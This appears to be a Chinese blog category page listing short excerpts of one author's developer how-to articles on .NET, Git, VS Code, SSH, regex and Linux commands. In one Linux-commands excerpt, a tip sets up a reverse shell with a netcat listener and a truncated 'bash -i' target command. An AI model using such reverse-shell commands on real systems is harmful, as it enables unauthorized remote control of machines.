开发方法与工具
文章平均质量分 67
郝伟博士
郝伟,男,留日计算机博士,副研究员,硕士生导师。师从东京大学松崎公纪教授,主要研究方向为网络安全、并行计算与大数据,尤其是在网络环境下大数据安全性的研究。北京华云安信息技术有限公司首席研究员,中新网安技术研究员,上海莱镁晟信息科技有限公司技术顾问。参与国家973项目和国家科技重大专项各1项,主持国家科研项目1项,13项国家发明专利,各类论文25篇,合肥市政认定高层次人才。与清华大学、海克斯康、国防科技大学等多家单位有技术合作。
展开
-
常见开源协议横向对比
软件开发协议经常看到的内容,但是很多人不知道协议的具体内容,甚至连最基本的概念也没有。因此,本文对协议的概念、常见协议进行介绍,并横向对比。以便大家更好地理解这些协议。原创 2022-06-27 08:41:14 · 2629 阅读 · 0 评论 -
VS Code错误 “preloads: Could not find renderer” 解决办法
VS Code错误 “preloads: Could not find renderer” 解决办法原创 2022-04-08 11:58:54 · 7173 阅读 · 3 评论 -
在 Linux(Ubuntu 18)下运行 .NET 6 程序
从.Net core 开始,微软就实现了.Net的跨平台能力。在本文中,笔者使用Ubuntu 18.04.6 LTS上运行一个测试项目,以演示Linux下.Net6.0 的编译方法。原创 2022-02-23 06:36:47 · 6058 阅读 · 1 评论 -
Linux常用命令使用经验汇总
2021/02/04 一行代码统计不同代码的行数,字母数和字符数for file in *.cpp *.java *.cs; do find -name $file | xargs -I {} wc {}; done修改为:for file in *.cpp *.java *.cs; do find -name $file | xargs wc ; done还会带有第一项的统计功能,且速度也更快2020/12/07 A创建B的反弹Shell本机:nc -lvp 8102目标:bash -i原创 2021-11-01 15:57:53 · 415 阅读 · 0 评论 -
首次运行.Net6.0程序注意事项
前言转眼.Net6.0已经发布,对应的开发平台VS2022和C#10都相继发布。首先运行程序时遇到了一些问题,记录不上下来,以便经验备忘。错误在编写了HelloWorld程序后,在没有安装.Net6的机器上运行则会报错,如下图所示。解决首先访问以下地址:https://dotnet.microsoft.com/download/dotnet/6.0/runtime?utm_source=getdotnetcore&utm_medium=referral打开后如图所示。特别注意,现原创 2021-11-24 15:01:38 · 4465 阅读 · 0 评论 -
亲测有效的CredSSP的解决方法
问题描述在使用Windows自带的远程桌面连接远程主机时,很多朋友都遇到过如下的报错:网上有很多解决办法,结果尝试了都不行。后来终于从微软官方找到解决方法,在此进行分享。问题原因首先,我们要理解产生这些问题的原因是什么。简单的说就是微软加强了对远程连接的安全认证,导致没有打安全补丁的主机(注:家庭版同样也受限)无法使用远程桌面。具体来说,假定现在有A和B两台主机,A要远程连接B,如果有一端已经升级了安全补丁,则会报这个错误。解决方法问题的根本原因是之前远程桌面不加密,结果就有人利用这个漏洞(漏原创 2021-10-23 15:23:59 · 11769 阅读 · 2 评论 -
如何将本地项目文件夹推送至远程Git
需求描述现有文件夹 project 包括了项目所有代码文件,但是没有作用git进行代码管理。而在远程有仓库 http://gitee.com/user/project.git,里面也有project文件夹,其中本地的 project 要新于远程的,那么如何将本地的 project 推送至远程并建立远程服务器关联关系呢?问题解决问题的解决有两种方案,一种是强制将本地的project推送至远程服务器。但是是这种方式可能会出现未知的问题,且不会记录中间过程,所以不推荐。推荐使用另一种变通的方式,如下:使原创 2021-10-19 14:35:23 · 341 阅读 · 0 评论 -
为什么要使用WebAssembly?
文章目录1 概述2 定义3 目标4 优势5 缺点参考文献1 概述WebAssembly 是一种新的网络计算机编程语言。 WebAssembly 代码是一种低级二进制格式,它与 Web 兼容并且可以轻松地在现代 Web 浏览器中运行。生成的文件很小,加载和执行速度更快。您现在可以将 C、C++、Rust 等语言编译为二进制格式,并且可以像 javascript 一样在 Web 上运行。2 定义根据 WebAssembly 的官方网站(可在 https://webassembly.org/ 获得),它被翻译 2021-08-25 09:18:49 · 623 阅读 · 0 评论 -
在C#中将Base64编码的WOFF字符串转OTF字体并动态加载
文章目录项目需求第1步 Base64 转 二进制字节第2步:WOFF 格式转 OTF第3步:动态加载字体小结项目需求在某项目中有这样后个需求:有些字体使用了内嵌的Base64格式表示,如下所示:d09GRgABAAAAAEDwAA0AAAAAW7QAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABPUy8yAAABMAAAAGAAAABgE1VYZWNtYXAAAAGQAAAArgAABGYx/DcfY3Z0IAAAAkAAAAZEAAAH2v4w3vBmcGdtAAAIhAAAA6IA原创 2021-08-16 09:02:04 · 43780 阅读 · 0 评论 -
Python中日志记录方法
简介在任何工程项目中,日志都是必不可少的内容。在Python语言中,有自带的日志库也有第三方的日志库,或者我们可以自己定义写日志的函数。本文提供了两种方式,以便于用户选择。自定义方法写日志实际上就是要将当前的状态写到文件中,同时对相关信息,如时间函数名称等进行补充。如果自己写函数需要进行相同的操作,核心代码如下所示。自定义的函数没有系统功能多,但是在某些功能上更加强大,推荐中小型项目使用。比如:可以追加更多的信息,比如process的父进程名称,或者追加其他信息如项目名称,作者名称等;可以对消原创 2021-08-07 08:42:23 · 1615 阅读 · 1 评论 -
安装MikTex并成功编译中文PPT模板详细过程
1 简介本文以图文并貌的方式详细介绍了在全新的环境中安装MikTex支持中文,并成功编译PPT的整个流程。通过本文的阅读,能够在一定程序上解决LaTeX下中文显示及PPT编译的问题。2 安装MikTex首先,下载MikText(官网下载页面)。安装过程略,正常安装下一步即可。3 编译打开TexWorks,然后输入以下内容,再编译。\documentclass[UTF8]{ctexart}\author{UNION}\title{这是一个测试}\begin{document}\maketi原创 2021-06-16 07:44:11 · 2636 阅读 · 1 评论 -
一个自建的Java命令行解析参数类ArgumentsParser
文章目录1 简介2 参数格式定义3 类功能介绍3.1 初始化3.2 主要函数4 源代码5 输出结果6 小结1 简介在前文中,介绍了一个Python中的 argparse.ArgumentParser 类,能够实现对命令行输入参数的控制。搜索了一下,发现在Java中并没有提供相应的类。因此,为了在Java实现类似的功能,本文编写了一种用于处理main函数中的输入参考 String[] args 的类 ArgumentsParser。2 参数格式定义首先,对参数进行定义。一般而言,命令行中的输入参数通用原创 2021-05-09 11:46:48 · 735 阅读 · 1 评论 -
一行命令统计出多个文件夹中的多种类型的代码行数
问题现在有这些文件夹,里面有不类类型的文件,包括Java,C#和C++。如果我们想知识中间的代码行数应该如何完成呢?drwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200105_MemorySpeedTestdrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200411_EmbededEncryptiondrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200412_EncryptTestdrwxrw原创 2021-02-05 07:30:52 · 406 阅读 · 0 评论 -
手工编译运行Servlet程序
手工编译运行Servlet程序2020/11/01 郝伟 参考 https://www.runoob.com/servlet/servlet-first-example.htmlStep 1: 编写Java类 MyServlet.java首先,MyServlet 类需要从 HttpServlet 派生,并实现 doGet 函数。import java.io.*;import javax.servlet.*;import javax.servlet.http.*;public class My原创 2021-01-10 07:20:10 · 730 阅读 · 0 评论 -
正则表达式的高级功能:前向与后向断言
正则表达式的基本功能能够满足大部分情况下的需求,但是有一些需求在满足时比较困难。本文介绍一种正则表达式的高级功能:向前或向后筛选功能,能够实现更加强大的筛选功能。原创 2020-12-05 11:07:29 · 1743 阅读 · 0 评论 -
在Ubuntu18.04上运行.NET 5.0 之 Hello World
本文记录了在Ubuntu下安装和配置.Net 5.0 的整个过程和相关细节。对初次部署环境的用户有极大的帮助作用。原创 2020-12-03 13:03:39 · 2719 阅读 · 1 评论 -
如何在远程服务器建立Git并拉回本地
文章目录简介前提条件拉回操作注意事项简介在远程服务器上建立了一个git仓库后,如何拉回本地呢?尤其是目录的关系是怎样的?本文将说明这个问题。前提条件首先,本文假定已有服务器 server01 已经完成了免密配置,可以使用 ssh server01直接免密登陆。其次,在 server01 上已经建立git仓库,其目录为: ssum:/home/lcy/repo/test.git,建立方法为如下:$ ssh server01 # 登陆$ mkdir -r /home/lcy/repo/test.g原创 2020-11-29 19:19:46 · 186 阅读 · 0 评论 -
环境变量详解
文章目录前言什么是环境变量PATH示例设置方法设置示例小结前言每次在安装开发环境的时候,比如JDK,Python等工具时,经常需要配置环境变量,环境变量到底是什么,对于很多新手来,总是一副很神秘且高大上的感觉,所以往往难以理解和上手,给实际开发带来一定的困难。本文就以最经常的PATH变量,对环境变量进行介绍。什么是环境变量根据百度百科的定义,环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数,如临时文件夹位置和系统文件夹位置等。环境变量是在原创 2020-11-22 09:19:04 · 2335 阅读 · 0 评论 -
在VSCode中使用PlantUML
前言PlantUML是一种功能非常强大的UML描述语言。本文将介绍如何在VS中安装。下载插件首先,在VS中安装MPE,然后在以下网址下载核心插件 Graphviz 。安装下载安装以后,将程序解压至 C:\Program Files (x86)\Graphviz\。配置环境变量在系统中配置环境变量,将 C:\Program Files (x86)\Graphviz\bin 添加至Path中即可。测试如下所示,即表示运行成功...原创 2020-10-28 17:09:00 · 6651 阅读 · 2 评论 -
一次Confluence数据恢复演习
文章目录目标创建镜像并备份数据还原测试修改Confluence自动备份路径目标为了保证数据在出问题时能够及时恢复,特进行本次演习,以验证Confluece的数据恢复功能。创建镜像并备份数据为了防止数据恢复出错,先在服务器上创建快照。首先,进入数据恢复界面,选择 “一般配置->备份与还原”选择“备份”显示备份成功。还原测试首先,修改Confluece中的任意一个网页,然后在备份与还原界面中执行还原操作,显示以下内容。数据完成以后,再观察修改过的帖子,发现数据已经还原,执行原创 2020-10-27 16:15:59 · 836 阅读 · 0 评论 -
在一台Linux服务器上自动备份另一台Linux服务器的数据
环境介绍现在有2台机器,1台服务器S,1台实验用服务器T,现在需要将S上的数据备份到T上。备份脚本脚本 /home/hao/task.sh 内容如下所示:#!/bin/bashcurTime=$(date +"%Y_%m_%d")echo "scp s149:/home/Huaun/backups/conf/backup-$curTime.zip /mnt/usb16g/backups/conf"scp s149:/home/Huaun/backups/conf/backup-$curTime原创 2020-10-26 20:01:49 · 1351 阅读 · 0 评论 -
在C#中使用正则表达式提取括号中的内容
问题给定字符串 "OUTPUT/FA(CIR1),TA(POS1__X),TA(POS1__Y),TA(POS1__Z),TA(POS1__D)" 现在需要取得括号中的内容,如 CIR1、POS1__X、POS1__Y 和POS1__Z,如果我们使用字符串操作,肯定是可以取得,但是如果类似的操作比较频繁,我们完全可以使用正则表达式来完成。正则模式定义假定括号中的内容是数字、字母和下划线,那么我们可以使用以下字符来定义:[0-9a-zA-Z_]+ 或者可以直接使用简化符号/w,变为 \w+。因为我们要原创 2020-10-24 10:05:44 · 16870 阅读 · 0 评论 -
在Ubuntu 18.04.5和CentOS7下设置开机启动(实测可行)
说明在网上看了很多设置启动的文章,试了好几个都有问题,经过多次尝试,终于设置成功。本文就介绍了整个设置过程。Step 1:创建并编译 /etc/rc.local 文件先输入以下内容对 /etc/rc.local 进行编辑。$ vi /etc/rc.local然后输入以下内容#!/bin/bashDate=$(date +'%Y/%m/%D %H:%M:%S')echo "Current datetime: $Date." >> /root/log.txt本段代码只是一个简单的原创 2020-10-22 08:55:06 · 297 阅读 · 0 评论 -
使用AWK和XARGS为文件批量改名
需求现在文件下有N个视频文件,名称如下所示:hao@Hao-Hasee:/mnt/d/BaiduDownloads$ ls -lshtotal 14G1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 18:32 医.2014.03.mkv1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 18:36 医.2014.04.mkv1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 19:08 医.2014.05.mkv1.7原创 2020-10-07 20:03:54 · 961 阅读 · 0 评论 -
以Python为例在Linux配置可切换的程序版本
文章目录简介准备工作配置可切换版本版本切换参考资料简介随时程序的不断升级,我们经常会同时使用多个版本。为了实现这个需求,本文以Python3.6和3.8为例,介绍如何进行两个版本的同时可用。准备工作假设我们已经安装好了Python3.6和3.8,此时运行 python3 显示以下内容:root@server00:~# python3 -VPython 3.6.9此时查看 /usr/bin 目录下的python 程序可以看到以下内容:root@server00:~# root@server0原创 2020-10-06 11:44:00 · 272 阅读 · 0 评论 -
在VSCode中使用Remote配置远程开发
文章目录第1步 下载Remote Development 插件第2步 添加远程连接技巧:指定ssh.exe第1步 下载Remote Development 插件第2步 添加远程连接具体过程很多文章讲的很细,就不再赘述,可以参考以下文章:https://blog.csdn.net/u010417914/article/details/96918562https://blog.csdn.net/sixdaycoder/article/details/89947893https://blog.c原创 2020-09-30 15:57:49 · 851 阅读 · 0 评论 -
解决Windows下SSH登陆时的“Bad owner or permissions”的问题另类办法
问题在SSH登陆时,在配置了 C:\\Users\\username/.ssh/config后在登陆后,可能会出现以下错误:在多方查找后,各种方式都尝试了以后,终于变向地解决了此问题。解决思路本方案的解决办法并不是象其他文章一个通过安全性修改,删除相关继承来实现的,而是直接修改了 ssh.exe 程序。笔者发现有2个ssh.exe程序,分别是:openssh: C:\Windows\System32\OpenSSH\ssh.exeGit ssh: C:\Program Files\Git\原创 2020-09-30 11:56:27 · 18763 阅读 · 10 评论 -
在VSCode中配置Fira Code字体
Fira Code 简介Fira Code(https://github.com/tonsky/FiraCode)是一种非常漂亮的等宽字体,而且还可以进行多字符组合,如 -> 可以自动变成 →,或者 => 变成 ≠\neq=等,更多可参见官网。常见的几种字体效果如下所示:Fira Code微软雅黑Consolasmonospace配置在VSode中配置需要两步:打开 setting.json添加以下内容"editor.fontFamily": "'Fira原创 2020-09-30 10:17:56 · 6514 阅读 · 1 评论 -
使用C#显示SVG动画
简介SVG是现在越来越多开发人员开始使用的一种矢量图格式,不仅体积小,而且使用游览器直接就可以打开,而且快捷方便。但是使用C#开发,默认的WebBrower并不支持SVG,而调用COM的IE浏览器同样有问题。所以我们使用了第三方的Chorme浏览器来实现。实现办法首先需要通过NuGet程序包安装Chrome的核心模块CefSharp,其安装的过程参见《C# WINFORM嵌入CHROME浏览器(CEFSHARP)》。安装有几点注意事项:CefSharp的使用.NET Framework 4.5.原创 2020-09-24 11:54:02 · 2895 阅读 · 0 评论 -
在Python中使用openpyxl进行Excel文件操作测试
import osfrom openpyxl import Workbookfrom openpyxl.utils import get_column_letter# create a new workbook wb = Workbook()# grab the active worksheetws = wb.activews.title = "TestSheet"# Data can be assigned directly to cellsws['A1'] = 42# Rows原创 2020-08-17 07:42:37 · 256 阅读 · 0 评论 -
在Ubuntu18.0.4LST下手工配置JDK11
第1步 下载JDK首先,下载Java安装包,地址:https://www.oracle.com/java/technologies/javase-jdk11-downloads.html注意:现在Oracle下载需要账户,注册后才可以下载。第2步 解压JDK至指定目录tar –zxvf jdk-11.0.8_linux-x64_bin.tar.gz解压后会得到文件夹 jdk-11.0.8,将其移动至opt目录下mv jdk-11.0.8 /opt/java-11.0.8第3步 配置环境变原创 2020-08-05 06:36:38 · 329 阅读 · 0 评论 -
自动化控制远程服务器的一些知识
关于SSH登陆的一些知识两个SSH登陆内运行程序时是否完全独立完全独立。。用户A能否看到用户B运行的程序?可以看到,使用 ps -aux 即可。如何关闭指定名称的线程。如果名称中有 hwtests,那么可以使用 kill -9 $(pidof hwtests) 进行关闭,不过如果线程不存在会报错SSH远程运行的程序会长期存在吗?有两种运行模式,一种是阻塞运行,即运行时会阻塞到命令行处,一旦断开则程序会中止;另一种是使用如Screen之类的命令,可以无阻塞地进行。如何使用xargs可以原创 2020-08-04 13:22:46 · 541 阅读 · 0 评论 -
[学习笔记]将本地新建项目推到码云远程的Git空仓库
主要步骤如下Step 1. 在码云上建立仓库比如 https://gitee.com/hwaust/CrossOSSocketLib.gitStep 2. 通过命令行输入以下命令$ cd myproj # 进入项目目录 $ git init # 初始化$ git remote add origin https://gitee.com/hwaust/CrossOSSocketLib.git # 添加远程目录地址注1:若地址添加错误,可以使用 git remote rm o原创 2020-07-30 08:52:45 · 297 阅读 · 0 评论 -
GitLab使用中的403错误
问题描述在自己的服务器上部署了GitLab以后,发现新建的项目只有建立者可以提交变更,其他人只能下载,不能提交。原因其他不无法提交显然是权限不够。在GitLab中,所有的项目都有所属者,默认是所属者才可以修改。所以需要只要赋予相应的权限,其他人就可以修改了。解决办法首先打开指定的项目,在右侧边栏选择成员(Members),然后添加指定的人员或分组即可,如下图所示。解决过程...原创 2020-07-29 10:11:16 · 1900 阅读 · 0 评论 -
CLion使用remote host在本地进行远程Linux程序调试
1 配置SSH连接首先,要配置SSH连接,过程如下所示。配置好SSH连接以后,测试一下是否可以连接,如果是第一次连接,会有是否连接的确认提示。如果一切正常会弹出连接成功的提示。2 配置 Remote Host如下图所示,在 + 处点击,选择 Remote Host。添加相关内容,完成以后再把Remote Hosting提升到第1位,表示用此配置编译运行程序。注意,如果有提示版本不合适,可以选择升级,也可以直接无视。注意:有时候cmake版本过低会导致无法运行,可以参见以下更新的文原创 2020-07-20 12:13:39 · 10574 阅读 · 3 评论 -
使用正则表达式将 a = b; 转换为 b = a;
我们在写代码的时候经常会有这样的需求,将赋值表达式左右两则的值交换,如将 "a=b;" 转换为 "b=a;"。本文就介绍如何使用正则表达式达到此需求。原创 2020-07-13 07:59:08 · 934 阅读 · 0 评论 -
关于在XP上运行C#程序几点注意
虽然XP已经断更多年,但是目前一些工控机仍然会用XP,因此本文主要介绍了XP下运行C#程序的相关内容。原创 2020-06-19 11:18:55 · 1574 阅读 · 0 评论 -
关于路径的标准英文名称
设定以 C:\data\temp\abc.txt 为例,在启动 DOS,然后进入 data 目录,如下。C:\>cd data C:\data> 有以下名称:C:\datadirectorycurrent working directorydatacurrent folderfolder nameC:parent directorytemp\abc.txt...原创 2019-01-24 13:08:40 · 1088 阅读 · 1 评论 -
好文转载(持续更新中……)
Ubuntu各版本编号 https://blog.csdn.net/zhengmx100/article/details/78352773原创 2019-10-31 07:04:12 · 377 阅读 · 0 评论 -
一个奇怪的IIS的数据库连接问题
今天在部署一个IIS网站的时候,遇到以下错误。Offending URL: http://137.12.46.31/admin/login.aspxSource: .Net SqlClient Data ProviderMessage: 在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。未找到或无法访问服务器。请验证实例名称是否正确并且 SQL Server 已配置为...原创 2019-05-18 20:19:03 · 1096 阅读 · 0 评论